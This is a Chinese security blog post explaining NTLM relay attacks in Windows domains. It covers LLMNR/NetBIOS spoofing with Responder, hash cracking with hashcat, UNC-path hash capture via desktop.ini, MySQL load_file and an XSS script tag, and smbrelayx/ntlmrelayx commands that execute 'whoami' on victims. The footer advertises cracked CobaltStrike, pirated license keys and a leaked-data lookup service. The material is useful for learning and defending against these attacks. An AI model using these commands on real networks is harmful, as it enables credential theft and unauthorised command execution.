查看原文
其他

域渗透之NTLM Relay

刨洞安全团队 刨洞安全团队 2023-11-08

基础知识

LLMNR概述

链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的 IPv4 和 IPv6 的主机来执行名称解析为同一本地链路上的主机。

当局域网中的 DNS 服务器不可用时,DNS 客户端会使用 LLMNR 本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。


LLMNR工作过程

当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的 DNS 服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即 DNS 解析会失败,那么就会转为使用 LLMNR 链路本地多播名称解析。

使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的 IP,查询范围被限制在本地子网内。本地子网内每台支持 LLMNR 的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己 IP地址 给请求该查询的主机;如果不是,则丢弃该请求。


解析顺序

1、本地hosts文件(%windir%\System32\drivers\etc\hosts)
2、DNS缓存/DNS服务器
3、链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

LLMNR和NetBIOS欺骗攻击

我们利用 SMB 协议获取目标网络中计算机的 Net-NTML Hash

当用户输入 不存在包含错误 或者 DNS中没有的主机名 时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向 DNS服务器 查询,而 DNS解析 会失败,此时就会退回 LLMNR 和 NetBIOS 进行对链路内存在的主机进行广播查询。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的 Windows凭据 发给攻击者。


Responder概述

Responder 是监听 LLMNR 和 NetBIOS 协议的工具之一,能够抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应,获取最初的账户凭证。

Responder 会利用内置 SMB认证服务器MSSQL认证服务器HTTP认证服务器HTTPS认证服务器LDAP认证服务器DNS服务器WPAD代理服务器,以及FTPPOP3IMAPSMTP等服务器,收集目标网络中的明文凭据,还可以通过 Multi-Relay 功能在目标系统中执行命令。

Responder使用:

responder -I eth0 -r on -v -F on -w on 

主机尝试连接该地址,检查内部名称缓存和 DNS 都没找到,就会通过 LLMNR 和 NetBIOS,在局域网中进行搜索。

此时就能抓到 Net-NTLM Hash

Net-NTLM Hash 不能作为 PTH 使用,但可以使用 hashcat 等工具爆破或进行 NTLM-Relay 攻击

hashcat -m 5600 hash.txt wordlists.txt --show

NetBIOS

NetBIOS 协议进行名称解析的过程如下:

  • 检查本地 NetBIOS 缓存
  • 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
  • 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
  • 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件

desktop.ini

文件夹底下都有个文件 desktop.ini 来指定文件夹图标之类的。默认不可见。

去掉隐藏受保护的操作系统文件就可以看到 . 每个文件夹底下都会有,我们新建一个新的文件夹的话,如果没看到 desktop.ini,可以尝试更改图标,就可以看到了。

将图标路径改成 UNC路径,指向我们的服务器

打开文件夹就会去访问 UNC路径,即可获得用户的 net-ntlm hash

MySQL

select load_file('\\\\172.16.100.1\\mysql');

XSS

<script src="\\172.16.100.1\xss">

这种情况适用于 IE 和 edge,其他浏览器不允许从 http 域跨到 file 域

smb Relay

python3 RunFinger.py -i 192.168.22.0/24

目标主机没有开放 smb签名,一般情况下域控默认开启 smb签名,其余机器不开放

打开 responder 并修改 responder.conf,將 smb 和 http 改为 Off,里面 responder 的作用就是,创建一个可以被访问的虚拟路径并且模拟与其他主机进行 NTLM认证,使用 smbrelayx 进行 ntlm-relay

创建一个可以被访问的虚拟路径并且模拟与其他主机进行 NTLM认证 互动,smbrelayx 脚本运行:

python3 smbrelayx.py -h 192.168.22.137 -c "whoami" 

这时候只要域内主机触发了 LLMNR协议 即可,触发方式与上面例子的触发方式一致,即通过 smb协议 或者 http协议 访问一个不存在的主机

./ntlmrelayx.py -t 受害者ip -c whoami -smb2support
./MultiRelay.py -t 受害者ip -u ALL


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群





往期推荐



Kerberos Bronze Bit Attack 绕过约束/资源委派限制

KKCMS 1.371 代码审计

Java审计之CMS中的那些反序列化漏洞

日常记录对某站点的实战渗透

Subconverter订阅转换RCE漏洞

聊聊PE文件免杀

谈一谈我是如何入门安全的,七年安全生涯总结

iVMS-8700综合安防管理平台代码审计

记一次从外网到拿下域控

备用号,欢迎关注


继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存